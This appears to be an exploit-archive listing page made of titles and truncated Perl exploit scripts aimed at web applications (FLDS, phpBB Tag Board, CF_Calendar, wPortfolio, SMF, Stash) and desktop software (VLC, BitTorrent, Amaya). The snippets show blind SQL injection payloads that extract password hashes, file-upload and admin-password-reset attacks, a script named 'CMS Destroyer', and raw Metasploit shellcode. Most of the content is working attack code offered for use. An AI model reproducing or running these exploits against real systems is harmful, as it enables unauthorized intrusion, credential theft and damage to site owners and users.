FLDS 1.2a report.php (linkida) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =========================================================== FLDS 1.2a report.php linkida Remote SQL Injection Exploit =========================================================== !/usr/bin/perl -w Free Links Directory Script V1.2a Remote SQ...

Mediatheka 4.2 Blind SQL Injection

!/usr/bin/perl -w Mediatheka post$host, user = $param, password = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "password,$uidz,1=$charz,". "benchmark200000000,char0,". "0 from users where id=$userid"; return $send; for1..32 foreach my...

CF_Calendar - calendarevent.cfm SQL Injection

CFCalendar - calendarevent.cfm SQL Injection !/usr/bin/perl use HTTP::Request; use LWP::UserAgent; print "\n \n"; print " CFCalendar Remote SQL Injection Exploit \n"; print " By AlpHaNiX \n"; print " \n"; print " \n"; print " usage : perl exploit.pl target \n"; print " contact : AlpHaATHACKERDOTB...

CF_Calendar (calendarevent.cfm) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl use HTTP::Request; use LWP::UserAgent; print "\n \n"; print " CFCalendar Remote SQL Injection Exploit \n"; print " By AlpHaNiX \n"; print " \n"; print " \n"; print " usage : perl exploit.pl target \n"; print " contact : AlpHaATHACKERDOTBZ \n"; pri...

phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl --------------------------------------------------------------- phpBB 3 Mod Tag Board = 4 Remote Blind SQL Injection Exploit by athos - stakerathotmaildotit http://bx67212.netsons.org/forum/viewforum.php?f=3...

ewb-overflow.txt

!/usr/local/bin/perl OOO OOO OO OOO O O O O O O O O O O O O OO OO OOOOO OOOOO OOO OO OOOOOO O O OO OO OOOOO O O OO O O O O O OO O O O O O OO O O O O O O O O O OOOOOOO O O O O O O OOOOOOO O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O OOO OOO OOO OOOOOO OOOOO OOOOO OOOOOO OOO OOO OO...

OpenForum 0.66 Beta Remote Reset Admin Password Exploit

No description provided by source. !/usr/bin/perl -w ======================================================== OpenForum 0.66 Beta Remote Reset Admin Password Exploit ======================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH...

w3camayaurl-overflow.txt

W3C Amaya 10.1 Web Browser Amaya URL Bar Remote Stack Overflow Vulnerability Written and discovered by: r0ut3r writ3r at gmail.com / www.bmgsec.com.au Advisory: http://www.bmgsec.com.au/advisory/40/ ------------------------------------------------------ Shellcode notes: The application fails to...

wPortfolio <= 0.3 Remote Arbitrary File Upload Exploit

Exploit for unknown platform in category web applications ====================================================== wPortfolio new; my $re = $ua-requestPOST $url, ContentType = 'form-data', Content = filetoupload = $file ; if $re-issuccess print "+ Uploaded ! \n"; print "+ Link: ".$host.$dfold.$file...

wPortfolio 0.3 - Arbitrary File Upload

!/usr/bin/perl Name: wPortfolio new; my $re = $ua-requestPOST $url, ContentType = 'form-data', Content = filetoupload = $file ; if $re-issuccess print "+ Uploaded ! \n"; print "+ Link: ".$host.$dfold.$file." \n"; else print "- Upload failed ! \n"; sub cheek my $host = $0; if $host = /http://./...

memht40-exec.txt

!/usr/bin/perl =about MemHT Portal = 4.0 Perl exploit AUTHOR: Discovered and written by Ams ax330d doggy gmail dot com DESCRIPTION: Here we are able to make SQL-injection due to weak filtering. So, look at inc/incheader.php lines 74, where hides code $checktitle = isset$GET'title' ?...

Simple Machines Forum (SMF) 1.1.6 - Local File Inclusion / Code Execution

!/usr/bin/perl @title: Simple Machines Forum Code Execution @versn: perl P:\advisories\smf\smflocalfileinclude.pl -s http://localhost/audit/smf116 -u regular -p test -d ii 0day Simple Machines Forum new cookiejar = , agent = "Mozilla FireFox" ; my %parms = s = "", d = 0, x = sub print " Proxy...

devilzclanportal-blindsql.txt

use HTTP::Cookies; use LWP::UserAgent; my $ua = LWP::UserAgent-new cookiejar = HTTP::Cookies-new,; $ua-agent 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' ; usage; print "\n"; $server = $ARGV0; $dir = $ARGV1; $username = $ARGV2; $password = $ARGV3; if !$password die "Argh! Read teh Usage!\n"; $url...

FTP Now 2.6 Server Response Remote Crash PoC

Exploit for unknown platform in category dos / poc ============================================ FTP Now 2.6 Server Response Remote Crash PoC ============================================ !/usr/bin/perl By Dr.Pantagon www.deltasecurity.ir DeltaSecurityCenter Special Tnx D7J AND H!V++ FTP Now versio...

vlc-overflow.txt

!/usr/bin/perl 10/21/2008 ksOSe use warnings; use strict; windows/exec - 141 bytes http://www.metasploit.com my $shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" . "\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01"...

VideoLAN VLC Media Player 0.9.4 - .TY Local Stack Buffer Overflow

VideoLAN VLC Media Player 0.9.4 - .TY Local Stack Buffer Overflow !/usr/bin/perl 10/21/2008 ksOSe use warnings; use strict; windows/exec - 141 bytes http://www.metasploit.com my $shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01"...

vivvocms-destroy.txt

!/usr/bin/perl Vivvo CMS Destroyer [email protected] By Xianur0 -------------CREDITS------------- http://milw0rm.com/exploits/4192 http://milw0rm.com/exploits/3326 http://milw0rm.com/exploits/2339 http://milw0rm.com/exploits/2337 -------------/CREDITS------------- print "\n Vivvo CMS Destroyer B...

BitTorrent 6.0.3 .torrent File Stack Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ============================================================ BitTorrent 6.0.3 .torrent File Stack Buffer Overflow Exploit ============================================================ !/usr/bin/perl BitTorrent 6.0.3 .torrent File Stack Buffer...

Stash 1.0.3 (SQL) User Credentials Disclosure Exploit

No description provided by source. !/usr/bin/perl -w User credentials disclosure exploit - stash103exp.pl Gnix [email protected] http://gnix.netsons.org This exploit use an SQL Injection in the file admin/login.php to bypass the login, and then an SQL Injection in the admin/news.php to extract a...

mswingdi-poc.txt

------------------------------------------------------------------------------------------------------------ Operating System: XP SP2 Gdiplus.dll Version: 5.1.3102.2180 Credit: John Smith, Evil Fingers GIF Template Reference: http://www.sweetscape.com/010editor/templates/files/GIFTemplate.bt PoC...